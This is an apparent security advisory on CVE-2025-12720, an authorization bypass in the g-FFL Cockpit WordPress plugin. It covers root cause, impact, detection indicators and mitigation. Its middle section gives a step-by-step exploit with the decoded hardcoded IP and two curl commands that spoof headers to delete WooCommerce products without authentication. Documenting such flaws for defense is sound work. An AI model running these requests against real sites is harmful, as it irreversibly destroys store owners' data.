CVE-2025-12720: 
WordPress vulnerability analysis and mitigation

CVE-2025-12720 is an improper authorization vulnerability in the g-FFL Cockpit plugin for WordPress (by Garidium) that allows unauthenticated attackers to delete arbitrary WooCommerce products by spoofing IP-based authentication headers. All versions up to and including 1.7.1 are affected. The vulnerability was published on December 6, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 5.3 (Medium) (Wordfence, EUVD).

The root cause is improper authorization (CWE-285) in the handle_enqueue_only() function registered on the /wp-json/fflcockpit/v1/queue and /wp-json/fflcockpit/v1/process REST API endpoints. The plugin's get_client_ip() function trusts user-controllable HTTP headers (X-Forwarded-For and CF-Connecting-IP) to determine the caller's IP address, then compares it against a hardcoded IP address (3.212.185.187, base64-encoded as My4yMTIuMTg1LjE4Nw== in the plugin source) — meaning any attacker who knows or extracts this value can bypass authentication entirely. Once authenticated, the process_product() function routes delete actions to sql_delete_product(), which executes a direct SQL DELETE against the WordPress posts table, permanently removing the product and all associated metadata (GitHub PoC, Wordfence).

Successful exploitation allows any unauthenticated, remote attacker to permanently delete arbitrary WooCommerce products from an affected WordPress site, including all associated metadata, term relationships, and images. This poses a significant integrity and availability risk to e-commerce sites relying on the plugin, as product catalogs can be wiped without any credentials. There is no confidentiality impact, but the destructive nature of the deletion (direct SQL DELETE with no soft-delete or recycle bin) means data loss may be irreversible without backups (GitHub PoC, EUVD).

A public proof-of-concept exploit is available on GitHub, demonstrating exploitation via simple curl commands requiring no authentication (GitHub PoC). The hardcoded bypass IP is encoded in the plugin source code and trivially extractable by any attacker with access to the plugin files (e.g., via the WordPress plugin repository). The EPSS score is 0.048% (low probability of widespread exploitation in the near term), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing (Wordfence).

1. Reconnaissance: Identify WordPress sites running the g-FFL Cockpit plugin (versions ≤ 1.7.1) using tools like WPScan, Shodan, or by checking /wp-content/plugins/g-ffl-cockpit/ for plugin presence.
2. Extract hardcoded IP: Review the plugin source file class-sync-endpoint.php (publicly available in the WordPress plugin repository). Decode the base64 string My4yMTIuMTg1LjE4Nw== to obtain the hardcoded allowed IP: 3.212.185.187.
3. Queue product deletion: Send a POST request to the /wp-json/fflcockpit/v1/queue endpoint with the spoofed IP header and a JSON payload specifying the target product ID:

curl -X POST http://TARGET_SITE/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'

4. Process the deletion: Send a follow-up POST request to /wp-json/fflcockpit/v1/process with the same spoofed header to execute the queued deletion:

curl -X POST http://TARGET_SITE/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"

5. Confirm deletion: A {"status": "completed"} response confirms the product has been permanently deleted from the WooCommerce database (GitHub PoC).

• Network: Unexpected POST requests to /wp-json/fflcockpit/v1/queue or /wp-json/fflcockpit/v1/process from IP addresses other than 3.212.185.187; requests containing X-Forwarded-For: 3.212.185.187 or CF-Connecting-IP: 3.212.185.187 headers from untrusted sources.
• Logs: WordPress/web server access logs showing POST requests to the above REST API endpoints with application/json content type and action: delete payloads; repeated requests targeting multiple product IDs in quick succession.
• Database: Unexpected mass deletion of rows from the wp_posts table (post_type = product) without corresponding admin user activity in WordPress audit logs; missing associated rows in wp_postmeta, wp_term_relationships, or media/image records.

Users should update the g-FFL Cockpit plugin to a version beyond 1.7.1 that addresses the IP-based authorization flaw. As an interim workaround, site administrators can disable the plugin until a patched version is available, or use a web application firewall (WAF) rule to block POST requests to /wp-json/fflcockpit/v1/queue and /wp-json/fflcockpit/v1/process from untrusted sources. Ensuring regular WooCommerce product database backups is strongly recommended to enable recovery in the event of exploitation (Wordfence, GitHub PoC).

The vulnerability was discovered and reported by researcher Ryan Kozak (d0n601), who published a detailed write-up and proof-of-concept on GitHub and their personal blog. Wordfence assigned and disclosed the CVE through their threat intelligence platform. No significant broader media coverage or vendor statements beyond the initial disclosure have been identified (GitHub PoC, Wordfence).